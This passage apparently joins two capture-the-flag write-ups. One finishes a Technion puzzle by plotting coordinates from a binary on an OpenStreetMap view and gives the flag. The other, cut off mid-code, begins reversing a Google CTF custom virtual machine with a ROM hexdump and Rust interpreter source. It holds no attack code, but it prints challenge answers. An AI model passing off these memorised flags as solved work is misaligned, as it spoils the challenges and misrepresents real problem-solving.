ישראל (ישראל) CoordinateRecord(32.788180, 34.960730) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960750) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960770) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960780) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788180, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960550) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960690) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960750) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788170, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960520) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960550) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960570) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960620) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960690) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960730) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960750) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960770) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960780) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788160, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788150, 34.960780) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960520) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960590) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960730) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788140, 34.960770) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960520) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960550) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960620) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960690) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960780) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788090, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960730) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960770) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788080, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960520) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960620) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960630) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960670) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960690) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960730) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960750) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788070, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960550) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960620) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960660) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788060, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960510) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960520) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960530) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960550) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960560) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960570) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960610) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960650) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960690) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960700) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960710) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960740) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) CoordinateRecord(32.788050, 34.960790) Elbit, כביש חיפה רעננה, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל (ישראל) ``` Now all the coordinates are in the Elbit building, and we got rid of all the weird records. But where is the cave? These are coordinates, so let's try to plot them on a map and see if we have any new insights. It's possible to use an online service such as [uMap](http://umap.openstreetmap.fr), but we'll use the OpenStreet Javascript API directly ([OpenLayers](https://openlayers.org/)). First, we'll export the coordinates from our Python script to a Javascript array: ```python with memory_map("ATH_Tele.bin") as b, open("coordinates.js", "w") as o: o.write("const coords = [\n") for match in COORDINATE_TELE_PATTERN.findall(b): coordinate = coordinate_tele.from_buffer_copy(match) if not coordinate.is_checksum_valid(): continue o.write(f" [{coordinate.latitude}, {coordinate.longitude}], \n") o.write("];\n") ``` Now, we display the coordinates on a map: ```html <html lang="en"> <head> <meta charset="utf-8"> <title>Indiana Jones and the Coded Cave</title> </head> <body> <div id="mapdiv"></div> <script src="http://www.openlayers.org/api/OpenLayers.js"></script> <script src="coordinates.js"></script> <script> const createLonLat = (map, lat, lon) => { return new OpenLayers.LonLat( lon, lat ) .transform( new OpenLayers.Projection("EPSG:4326"), // transform from WGS 1984 map.getProjectionObject() // to Spherical Mercator Projection ); } const map = new OpenLayers.Map("mapdiv"); map.addLayer(new OpenLayers.Layer.OSM()); const markers = new OpenLayers.Layer.Markers( "Markers" ); map.addLayer(markers); const icon = OpenLayers.Marker.defaultIcon(); icon.setSize(new OpenLayers.Size(3, 3)); coords.forEach(element => markers.addMarker(new OpenLayers.Marker(createLonLat(map, element[0], element[1]), icon.clone()))); const zoom = 16; map.setCenter (markers.markers[0].lonlat, zoom); </script> </body> </html> ``` If we look closely, we can see that the coordinates outline something that looks like digits on the Elbit building: ![](images/indiana1.png) In fact, these look like coordinates themselves: ```console root@kali:/media/sf_CTFs/technion/Indiana_Jones_and_the_Coded_Cave# curl "https://nominatim.openstreetmap.org/reverse?format=json&lat=32.77341&lon=34.98477&addressdetails=1" -s {"place_id":54099115,"licence":"Data © OpenStreetMap contributors, ODbL 1.0. https://osm.org/copyright","osm_type":"node","osm_id":4597845554,"lat":"32.7735245","lon":"34.9845078","display_name":"מערת הצבועים, שביל הפסגה, הוד הכרמל, נאות פרס, חיפה, נפת חיפה, מחוז חיפה, no, ישראל","address":{"natural":"מערת הצבועים","road":"שביל הפסגה","suburb":"נאות פרס","city":"חיפה","county":"נפת חיפה","state":"מחוז חיפה","postcode":"no","country":"ישראל","country_code":"il"},"boundingbox":["32.7734745","32.7735745","34.9844578","34.9845578"]} ``` This is a cave! Google translates it to "Cave of the Hypocrites", although the real translation should probably be "Cave of the Hyenas". Anyway, the flag is `cstechnion{Cave_of_the_Hypocrites}`.
sec-knowleage
# Unknown - Master Office Category: Reversing ## Description > You press a button and enter through a tinted glass door. There is a vast oil painting on the wall that depicts a bold man with a scar under his left eye, under his arms rests a white chubby cat. Below the painting is the very same man, and he’s addressing you: "Well, well, well. Isn’t it the trouble maker? Huh, how did you get past the guards? Well, I have a final offer for you. I’ll let you live only on one condition: START WORKING FOR ME! BWAHAHAHAHA-" While he goes on with his monologue about conquering the world and some twisted philosophy about how he is actually the good guy and so on you start discretely fiddling with a control panel labeled "Self destruction". You need to quickly figure out the activation code while he’s distracted. > > Challenge: Strange Virtual Machine (reversing) > > Everyone is coming up with their own programming language these days, so I came up with my own architecture. You can use it to run the attached program that will print the flag for you A ROM file and an archive were attached. ## Solution Let's check the attached files: ```console ┌──(user@kali)-[/media/sf_CTFs/google/18_Unknown_-_Master_Office/files] └─$ xxd -g 1 vm.rom 00000000: 01 69 00 00 00 00 02 01 69 0b bc 00 00 00 ff 08 .i......i....... 00000010: 04 47 02 47 01 01 69 00 00 00 00 09 47 01 69 0a .G.G..i.....G.i. 00000020: 30 00 00 00 01 69 00 00 00 00 02 00 69 05 47 08 0....i......i.G. 00000030: 01 69 00 01 00 00 09 47 00 69 0a 45 00 00 00 02 .i.....G.i.E.... 00000040: 00 47 05 47 08 01 69 00 01 00 00 03 69 47 04 69 .G.G..i.....iG.i 00000050: 02 01 69 0b 10 00 00 00 05 47 08 05 47 08 04 47 ..i......G..G..G 00000060: 02 47 01 01 69 02 00 00 00 09 47 01 69 0a 7e 00 .G..i.....G.i.~. 00000070: 00 00 01 69 01 00 00 00 02 00 69 05 47 08 01 69 ...i......i.G..i 00000080: 01 00 00 00 03 69 47 04 69 02 01 69 0b 5e 00 00 .....iG.i..i.^.. 00000090: 00 02 78 00 04 78 01 69 02 00 00 00 03 69 47 04 ..x..x.i.....iG. 000000a0: 69 02 01 69 0b 5e 00 00 00 05 78 02 79 00 03 69 i..i.^....x.y..i 000000b0: 78 03 79 02 00 69 05 47 08 05 47 08 04 47 02 47 x.y..i.G..G..G.G 000000c0: 01 02 01 42 fc 09 47 00 00 0a 2f 01 00 00 02 01 ...B..G.../..... 000000d0: 42 02 02 47 fd 02 48 00 04 48 04 48 01 69 01 00 B..G..H..H.H.i.. 000000e0: 00 00 03 69 47 03 69 02 01 69 0b 5e 00 00 00 05 ...iG.i..i.^.... 000000f0: 48 03 69 47 03 00 03 69 48 03 69 02 01 69 0b 10 H.iG...iH.i..i.. 00000100: 00 00 00 05 48 02 48 00 04 48 04 48 02 01 48 fe ....H.H..H.H..H. 00000110: 05 48 05 48 04 48 04 48 01 69 01 00 00 00 03 69 .H.H.H.H.i.....i 00000120: 47 03 69 02 01 69 0b bc 00 00 00 05 48 05 48 05 G.i..i......H.H. 00000130: 47 08 G. ┌──(user@kali)-[/media/sf_CTFs/google/18_Unknown_-_Master_Office/files] └─$ tar -xvf vm-impl.tgz vm/ vm/Cargo.toml vm/src/ vm/src/lib.rs vm/.gitignore vm-cli/ vm-cli/Cargo.toml vm-cli/src/ vm-cli/src/main.rs vm-cli/Cargo.lock vm-cli/.gitignore ``` The interesting files are `vm/src/lib.rs`: ```rust use std::io::{Read, Write}; pub type Register = char; pub const REG_RV: Register = 0 as Register; pub const REG_ARG0: Register = 1 as Register; pub const REG_ARG1: Register = 2 as Register; pub const REG_FLAG: Register = 0xFF as Register; // Instructions #[derive(Copy, Clone, Debug)] pub enum Instruction { Nop, MovConst { reg: Register, v: u32, }, MovReg { reg: Register, reg2: Register, }, MathOp { reg_out: Register, reg: Register, op: u8, reg2: Register, }, PushReg(Register), PopReg(Register), PushConst(u32), JmpConst(u32), PopPc, Test { reg: Register, op: u8, reg2: Register, }, JmpCond(u32), Call(u32), Strlen, CharAt, Print, Exit, } impl Instruction { pub fn read(f: &mut std::fs::File) -> std::io::Result<Self> { let mut opcode = [0u8]; f.read_exact(&mut opcode)?; let read_u32 = |f: &mut std::fs::File| -> std::io::Result<u32> { let mut buf = [0u8; 4]; f.read_exact(&mut buf)?; let res: u32 = unsafe { std::mem::transmute(buf) }; Ok(res) }; let read_u8 = |f: &mut std::fs::File| -> std::io::Result<u8> { let mut buf = [0u8]; f.read_exact(&mut buf)?; Ok(buf[0]) }; let read_reg = |f: &mut std::fs::File| read_u8(f).map(|x| x as char); Ok(match opcode[0] { 0 => Instruction::Nop, 1 => Instruction::MovConst { reg: read_reg(f)?, v: read_u32(f)?, }, 2 => Instruction::MovReg { reg: read_reg(f)?, reg2: read_reg(f)?, }, 3 => Instruction::MathOp { reg_out: read_reg(f)?, reg: read_reg(f)?, op: read_u8(f)?, reg2: read_reg(f)?, }, 4 => Instruction::PushReg(read_reg(f)?), 5 => Instruction::PopReg(read_reg(f)?), 6 => Instruction::PushConst(read_u32(f)?), 7 => Instruction::JmpConst(read_u32(f)?), 8 => Instruction::PopPc, 9 => Instruction::Test { reg: read_reg(f)?, op: read_u8(f)?, reg2: read_reg(f)?, }, 10 => Instruction::JmpCond(read_u32(f)?), 11 => Instruction::Call(read_u32(f)?), 0xFC => Instruction::Strlen, 0xFD => Instruction::CharAt, 0xFE => Instruction::Print, 0xFF => Instruction::Exit, _ => unreachable!(), }) } pub fn write(&self, f: &mut std::fs::File) -> std::io::Result<()> { f.write_all(&[(*self).into()])?; use Instruction::*; match self { MovConst { reg, v } => { let v_raw: [u8; 4] = unsafe { std::mem::transmute(*v) }; f.write_all(&[*reg as u8])?; f.write_all(&v_raw)?; } MovReg { reg, reg2 } => { f.write_all(&[*reg as u8, *reg2 as u8])?; } MathOp { reg_out, reg, op, reg2, } => { f.write_all(&[*reg_out as u8, *reg as u8, *op, *reg2 as u8])?; } PushReg(reg) => { f.write_all(&[*reg as u8])?; } PopReg(reg) => { f.write_all(&[*reg as u8])?; } PushConst(c) => { let c_raw: [u8; 4] = unsafe { std::mem::transmute(*c) }; f.write_all(&c_raw)?; } JmpConst(c) => { let c_raw: [u8; 4] = unsafe { std::mem::transmute(*c) }; f.write_all(&c_raw)?; } Test { reg, op, reg2 } => { f.write_all(&[*reg as u8, *op, *reg2 as u8])?; } JmpCond(c) => { let c_raw: [u8; 4] = unsafe { std::mem::transmute(*c) }; f.write_all(&c_raw)?; } Call(c) => { let c_raw: [u8; 4] = unsafe { std::mem::transmute(*c) }; f.write_all(&c_raw)?; } PopPc | Strlen | CharAt | Print | Exit | Nop => {} } Ok(()) } } impl std::fmt::Display for Instruction { fn fmt(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { use Instruction::*; match self { MovConst { reg, v } => write!(f, "mov {:?}, 0x{:08X}", *reg, v), MovReg { reg, reg2 } => write!(f, "mov {:?}, {:?}", *reg, *reg2), MathOp { reg_out, reg, op, reg2, } => write!(f, "{:?} = alu({:?}, {}, {:?}", *reg_out, *reg, *op, *reg2), PushReg(reg) => write!(f, "push {:?}", *reg), PopReg(reg) => write!(f, "pop {:?}", *reg), PushConst(c) => write!(f, "push 0x{:X}", *c), JmpConst(c) => write!(f, "jmp 0x{:X}", *c), Test { reg, op, reg2 } => write!(f, "test {:?}, {}, {:?}", *reg, *op, *reg2), JmpCond(c) => write!(f, "jmpc 0x{:X}", *c), Call(c) => write!(f, "call 0x{:X}", *c), PopPc => write!(f, "ret"), Strlen => write!(f, "call Strlen"), CharAt => write!(f, "call CharAt"), Print => write!(f, "chall Print"), Exit => write!(f, "exit"), Nop => write!(f, "nop"), } } } impl Into<u8> for Instruction { fn into(self) -> u8 { use Instruction::*; match self { Nop => 0, MovConst { .. } => 1, MovReg { .. } => 2, MathOp { .. } => 3, PushReg(_) => 4, PopReg(_) => 5, PushConst(_) => 6, JmpConst(_) => 7, PopPc => 8, Test { .. } => 9, JmpCond(_) => 10, Call(_) => 11, Strlen => 0xFC, CharAt => 0xFD, Print => 0xFE, Exit => 0xFF, } } } ``` And `vm-cli/src/main.rs`: ```rust extern crate vm; use std::io::{Seek, Write}; use vm::*; const INPUT_DATA: [u32; 63] = [ 66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29, 96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123, 109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93, ]; struct Vm { f: std::fs::File, registers: [u32; 256], stack: [u32; 64 * 1024], flag: bool, sp: usize, } impl Vm { fn new<T: AsRef<std::path::Path>>(path: T) -> std::io::Result<Self> { let f = std::fs::File::open(path.as_ref())?; Ok(Self { f, registers: [0u32; 256], stack: [0u32; 64 * 1024], flag: false, sp: 0, }) } fn step(&mut self) -> std::io::Result<()> { // let pos = self.f.stream_position()?; let instruction = Instruction::read(&mut self.f)?; /* if false { println!( "{:04X} | sp={:04} | flg={} | {:?}", pos, self.sp, self.flag, instruction, ); for (idx, v) in self.registers.iter().enumerate() { if *v > 0 { println!("{:?} -> {}", idx, v); } } } */ use Instruction::*; match instruction { Nop => {} MovConst { reg, v } => self.registers[reg as usize] = v, MovReg { reg, reg2 } => self.registers[reg as usize] = self.registers[reg2 as usize], MathOp { reg_out, reg, op, reg2, } => { let r1 = self.registers[reg as usize]; let r2 = self.registers[reg2 as usize]; self.registers[reg_out as usize] = match op { 3 => r1 + r2, 4 => r1 - r2, 5 => r1 * r2, 6 => r1 / r2, _ => unimplemented!(), }; } PushReg(reg) => { self.stack[self.sp] = self.registers[reg as usize]; self.sp += 1; } PopReg(reg) => { self.registers[reg as usize] = self.stack[self.sp - 1]; self.sp -= 1; } PushConst(c) => { self.stack[self.sp] = c; self.sp += 1 } 